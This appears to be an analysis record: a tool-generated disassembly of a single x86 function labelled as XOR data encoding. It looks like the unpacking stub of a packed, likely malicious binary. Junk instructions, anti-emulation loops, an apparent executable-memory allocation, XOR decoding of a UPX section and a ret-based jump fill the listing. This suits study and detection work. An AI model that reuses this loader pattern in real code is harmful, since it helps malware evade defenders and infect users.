Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x764286a8
sub eax, ebx
add ebx, ebx
add eax, 1
popal
sub eax, ebx
sub eax, 1
not ebx
mov esi, 0
mov ecx, ebx
add eax, 0x9e990e07
inc edx
mov edx, eax
mov edi, ecx
add eax, edx
add edx, edx
add eax, eax
mov ebx, edi
sub edx, 0x7c0b6817
inc edx
inc esi
sub eax, edx
not edx
cmp esi, 0x1007718
jne 0x47afd8
not edx
sub edx, eax
or edx, edx
cmp esi, 0x1007718
je 0x47b01a
mov ebx, 0
mov dword [ebx], edx
add edx, eax
sub eax, 1
sub ebx, eax
and ebx, eax
and eax, eax
mov esi, 0x47ada2
and ecx, edx
add edx, edi
sub ecx, 0x22ae48c
mov eax, 0x47af96
and ecx, ecx
sub edi, 0x6d280bb3
add edx, 0x9b2cebff
mov ebx, dword [esi]
and ecx, edx
mov edi, ecx
sub edx, 0x39b8f6d2
and ebx, 0xff
add edi, edx
and ecx, ecx
mov edx, 0x8b188a7f
xor dword [eax], ebx
sub edi, 0x88e49297
sub edx, ecx
not edi
add eax, 1
mov edx, edi
and ecx, edi
inc esi
sub ecx, edx
sub ecx, edi
sub ecx, 1
cmp eax, entry0
jl 0x47b04a
or edx, ecx
sub edi, 0xc4dc400d
add edx, 1
add edi, 0x7b469ebf
add edi, 0x4c090c45
inc ecx
inc esi
mov ebx, 0x47af9a
or edx, esi
add edi, 0x42fef23b
mov ecx, 0x101b19e6
mov ebx, dword [ebx]
or edi, edi
not esi
add esi, esi
mov ebx, dword [ebx]
or edi, ecx
and ecx, edx
sub edx, 0x6cbf5067
push ebx
and ecx, ecx
not edx
mov ebx, 0x47af96
sub edx, 0x1dd78332
sub esi, 0xfed533f6
mov ebx, dword [ebx]
inc ecx
not edx
mov ebx, dword [ebx]
sub edx, ecx
add ecx, edx
add edi, edx
push 0x47af9e
sub edi, 0x2657cd42
mov edi, 0xfbe8b2f1
sub ecx, esi
call ebx
and ecx, edi
or edi, ecx
and edx, ecx
pop ebx
not edx
mov esi, edx
sub esp, 4
mov dword [esp], 0x47afab
and ecx, edi
sub edx, 0xadd54ba9
push eax
and esi, ecx
sub esi, 0x1cf07a53
call ebx
inc edi
or edx, edx
push 0x40
mov edx, ecx
and esi, edx
sub esp, 4
mov dword [esp], 0x3000
and edx, ecx
sub edx, esi
dec edi
push 0x20000de8
add edi, ecx
add esi, 1
or esi, edi
push 0
sub esi, edx
or ecx, esi
or ecx, esi
call eax
or esi, edi
add edi, 0xe033a3df
add eax, 0x20000d2d
dec esi
and esi, esi
mov edi, edx
mov ebx, 0x16825e34
not ecx
not edi
and esi, esi
mov dword [eax], ebx
mov ecx, esi
sub ecx, edx
mov ebx, dword [eax]
sub ecx, edi
mov edi, ecx
add edi, 0xe448d22a
cmp ebx, 0x16825e34
je 0x47b1a9
mov ecx, 0
mov byte [ecx], bl
mov ecx, edx
or ecx, edi
mov edx, esi
add ecx, 0x25702d78
mov esi, edi
sub eax, ebx
mov eax, 0xfc9d9181
mov edx, section.UPX1
mov eax, ebx
sub ebx, eax
mov edi, 0x47ada1
add ebx, 0xb3e4bcb0
mov eax, 0x21b98b88
mov ecx, 0
mov ebx, eax
sub ebx, 0x19ce076a
inc eax
mov esi, 0x47ada2
add eax, 1
or ebx, eax
lea esi, [ecx + esi]
sub ebx, eax
sub ebx, eax
mov esi, dword [esi]
add eax, 0xbfebab01
mov eax, 0xca471318
and ebx, eax
and esi, 0xff
mov ebx, 0xbc620afe
inc ebx
add eax, 0xb3b902e2
inc ecx
sub eax, 0x9679923a
not ebx
cmp ecx, 0x1f4
jne 0x47b230
mov ecx, 0
mov eax, ebx
add eax, 1
sub ebx, 0xdabccdec
mov eax, ebx
add eax, eax
xor dword [edx], esi
add eax, ebx
add ebx, ebx
add edx, 2
mov eax, ebx
mov ebx, 0x19a43c9d
cmp edx, edi
jl 0x47b1e5
add eax, eax
and ebx, eax
not ebx
inc ebx
sub eax, 0xe2903c4c
mov edx, section.UPX1
mov esi, 0xc5f358f5
add eax, 0x8f066ec6
or esi, esi
mov ebx, section.UPX1
or esi, esi
mov eax, esi
mov edi, 0x47ada1
inc esi
or eax, eax
mov ecx, 0
dec eax
add eax, eax
dec eax
mov cl, byte [ebx]
or eax, eax
add esi, eax
mov byte [edx], cl
add esi, 0x297b5b58
sub esi, 1
inc edx
mov eax, 0xbf08d19c
inc esi
inc eax
add ebx, 2
or esi, esi
and esi, esi
not esi
cmp ebx, edi
jle 0x47b296
inc esi
add eax, 0x1beece94
sub esi, eax
sub eax, ebx
inc eax
push 0x45e6a0
and ebx, eax
not ebx
sub ebx, 0x68a790d5
ret